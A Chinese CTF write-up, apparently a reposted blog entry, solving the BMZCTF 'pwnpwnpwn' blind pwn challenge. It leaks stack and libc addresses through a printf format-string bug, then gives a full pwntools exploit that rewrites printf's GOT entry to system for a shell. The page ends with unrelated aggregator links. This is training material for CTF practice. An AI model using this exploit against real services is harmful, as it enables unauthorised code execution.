草庐IT

[BMZCTF-pwn] 00-pwnpwnpwn

石氏是时试 2023-05-06 原文

BUUCTF的题作到0解区,既作不出来也找到不wp,放弃了。今天开始上xctfclub.cn上来玩。

一般题都是从简单开始,也不一定,一上来就是个盲pwn 。

远程连接后,输出欢迎信息,然后输入后会回显。

思路:

  1. 如果是堆啥的怎么也得给点,不给就没办法了,至少有个泄露。这里的回显猜是printf的输出用AAAA-%x-%x...测试,可以得到一些有用信息
    1. 有0804XXXX这个应该是32位no pie
    2. #3 得到个栈地址指向输入串,不清楚怎么用,
    3. #10是输入偏移
    4. #39是libc_start_main_ret 可以得到libc的加载地址。
    5. 没有找到退出循环的地址
  2. 一般32位加载地址0x8047000或0x8048000开始,写代码取程序8000成功,可以看到got表在0x804a000,放到这个位置重开段一般可写。
  3. 取got表查到一些项目的偏移:setbuf,read,printf,puts这里只有printf能用
  4. 将printf改为system再发送/bin/sh

完整exp:

from pwn import *

p = remote('www.bmzclub.cn', 21355) 

p.recvuntil(b' Wealcome to BMZCTF \n')


'''
for i in range(50):
    p.sendline(b'%%%d$x'%i)
    print(i, p.recv())

0 b'%0$x\n'
1 b'ffa9ed18\n'
2 b'64\n'
3 b'8048718\n'
4 b'ffa9ed3e\n'
5 b'1\n'
6 b'ffa9ee34\n'
7 b'1\n'
8 b'ffa9ed3e\n'
9 b'ffa9ee3c\n'
10 b'24303125\n'
11 b'a78\n'
... 这堆全是0
35 b'7633c800\n'
36 b'f7f093dc\n'
37 b'ffa9eda0\n'
38 b'0\n'
39 b'f7d71637\n'
40 b'f7f09000\n'
41 b'f7f09000\n'
42 b'0\n'
43 b'f7d71637\n'
44 b'1\n'
45 b'ffa9ee34\n'
46 b'ffa9ee3c\n'
47 b'0\n'
48 b'0\n'
49 b'0\n'

1 b'ffa9ed18\n'    # #1-> #10
3 b'8048718\n'     # ebp - 4*7 ->ret
10 b'24303125\n'   # 输入的串
39 b'f7d71637\n'   #libc_start_main_ret   #1+29*4->main_ret
''' 
context(arch='i386')

p.sendline(b'%1$x')
ebp = int(p.recvline()[:-1], 16)
print('ebp:', hex(ebp))
'''
for i in range(30):
    p.sendline(p32(ebp+i*4)+b'XXXX%10$s----')
    print(p.recv()[8:12])
p.sendline(p32(ebp-4*7)+b'XXXX%10$s----')
print(p.recv()[8:12])
'''
libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_i386/libc-2.23-i386-0ubuntu11.so')
one = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
libc_start_main_ret = 0x18637

p.sendline(b'%39$x')
libc_base = int(p.recvline()[:-1], 16) - libc_start_main_ret
libc_elf.address = libc_base
print('libc:', hex(libc_base))

start_addr = 0x8048000
stop_addr  = start_addr + 0x3000

#context.log_level='debug'
'''
start_addr = 0x804a004

context.log_level='debug'
p.sendline(b'%13$sAAABBBB'+ p32(start_addr))
t = p.recvline()
for i in range(10):
    v = u32(t[i*4: i*4+4]) - libc_base
    print(hex(v))
0x804a00c setbuf
0x804a010 read
0x804a014 printf
0x804a01c puts
'''

payload = fmtstr_payload(10, {0x804a014: libc_elf.sym['system']})
p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.sendline(b'cat flag')
p.interactive()

有关[BMZCTF-pwn] 00-pwnpwnpwn的更多相关文章

  1. ruby-on-rails - `method_missing':#<Rails::Application::Configuration:0x00> 的未定义方法 `action_mailer' - 2

    我正在构建一个Rails应用程序并且使用的是Rails4.0.1。我有一个错误,并注意到它在3个月前被称为rails上的一个错误,所以我决定:捆绑更新并获得rails4.0.3这样做之后,测试和服务器都不会启动,并且会抛出错误:gems/railties-4.0.3/lib/rails/railtie/configuration.rb:95:in`method_missing':undefinedmethod`action_mailer'for#(NoMethodError)目前我在config/environments/*中注释掉了action_mailer行,但最好能找到一个真正的

  2. ruby - 00.0 和 0.0 不一样吗? - 2

    我刚刚在编程语言ruby中发现了一个奇怪的问题,这不是什么大问题,但我就是不明白为什么会这样。如果有人知道我的问题的问题,我会很感兴趣。在ruby中你可以写成0或者00,没关系,结果是一样的。如果您运行0===00,您还会得到true,这意味着两个输入完全相同。0.0也等于0,所以逻辑上00.0也应该等于0.0但问题是,如果你尝试使用数字00.0那么你只会得到一个错误。例如,如果您运行:a=00.0你得到这个错误:syntaxerror,unexpectedtINTEGER当然我知道这是个小问题,但如前所述,我想了解为什么计算机不将00.0视为与0.0相同?

  3. ruby - 如果 float 不是 .00 则只显示小数点 sprintf/printf - 2

    我很喜欢格式化一个float,但如果没有相关的float,我希望它显示为一个整数。即1.20->1.2x1.78->1.78x0.80->0.8x2.00->2x我可以通过一些正则表达式来实现这一点,但想知道是否有一个sprintf-only方法可以做到这一点?我在ruby​​中懒洋洋地这样做:("%0.2fx"%(factor/100.0)).gsub(/\.?0+x$/,'x') 最佳答案 您想使用%g而不是%f:"%gx"%(factor/100.00) 关于ruby-如果floa

  4. javascript - 显示 06 :00 instead of 6am in FullCalendar - 2

    如果您选择查看一周或一天,左栏将默认显示早上6点、早上7点等。我该如何让它显示06:00、07:00等等?编辑:我说的是周View和日View的左栏,默认情况下是早上6点、早上7点、早上8点。不是事件中的时间戳。为了进一步指出问题,我想将图像突出显示部分的上午/下午更改为24小时制:http://bildr.no/view/770893 最佳答案 检查一下http://arshaw.com/fullcalendar/docs/text/timeFormat/你应该总是在做任何事情之前先检查文档,这只是一个提示试试这个day:'h:m

  5. javascript - currentTime是否落在18 :00 and 2:00之间 - 2

    我有一个带有动态开盘和收盘时间的酒吧时间表,我必须计算currentTime是否在今天的开盘时间内。问题是开门时间和关门时间不在同一天。如何计算currentTime是否落在多天的特定时间范围内?我在这个项目上使用jquery。 最佳答案 如果你使用newDate().getTime();这将返回自特定时间(恰好是1970年1月1日)以来的毫秒数。如果您对开始和结束时间以及当前时间都执行此操作,如果您的当前时间介于开始和结束之间,那么它将大于开始毫秒数且小于结束毫秒数。请注意,您实际上可以用+newDate;代替Date().get

  6. javascript - js jQuery,总是有一个数字显示至少两位00 - 2

    我正在使用以下方法给数字加一:00030812$('#count').text(function(i,txt){returnparseInt(txt,10)+1;});我总是希望有两个是2个位置,00,即使数字小于10。如何使用JS获得上面的func,以始终返回200个位置?因此,如果数字计算为3,它会将03注入(inject)#count?谢谢 最佳答案 $('#count').text(function(i,txt){varc=parseInt(txt,10)+1;return(c编辑:但是拥有多个具有相同ID的元素会在某处引起

  7. Javascript 值不显示小数,除非它不是 0.00 - 2

    //Valuebeingparsedatthispointis"150.00"varproductValue=parseFloat($("#product-cost-value-value").text().replace(',','.'));console.log(productValue);记录的值为150。但是,如果我给它添加一些值,就像这样。该值更改为显示我想要的两位小数。console.log(productValue+0.01);记录的值为150.01如何强制我的值始终显示两位小数? 最佳答案 使用:console.lo

  8. javascript - 如何转换 10 :09:00 GMT+0000 to IST in javascript? - 2

    我正在开发网络应用程序,因为我们正在使用CK编辑器日历。我在其中执行以下代码以获取Date&Time..代码:varstrDate=newDate(event.start);varendDate=newDate(event.end);vartitle='Event:'+event.title+'From:'+event.start.toLocaleString()+'To:'+event.end.toLocaleString()+'By:';输出:FriFeb13201510:37:00GMT+0000To:FriFeb13201510:37:00GMT+0000预期输出:在上面的输出

  9. javascript - 将 '#ff00fffirstword#445533secondword#008877thirdword' 转换为 html 标签格式 - 2

    我可以将字符串#ff00fffirstword#445533secondword#008877thirdword转换为firstwordsecondwordthirdword在javascript或actionscript3程序中使用正则表达式?我尝试了下面的代码,但它并不完美(actionscript3代码):varpat:RegExp=/(#\w{6})([^#]+)/g;varhtml:String=t.replace(pat,"$2");trace(html);//output:firstwordsecondwordthirdword如果该字符串中还有一个#,输出将不会像我想要

  10. javascript - Datejs - 12 :00 pm 问题 - 2

    我真的不知道我做错了什么。我无法让Datejs正确解析“12:00pm”,但它似乎在其他日期也能正常工作。以下是来自Firefox调试器的剪辑: 最佳答案 从SVN下载最新版本的Datejs,而不是“下载”部分中的版本。 关于javascript-Datejs-12:00pm问题,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/questions/6444775/

随机推荐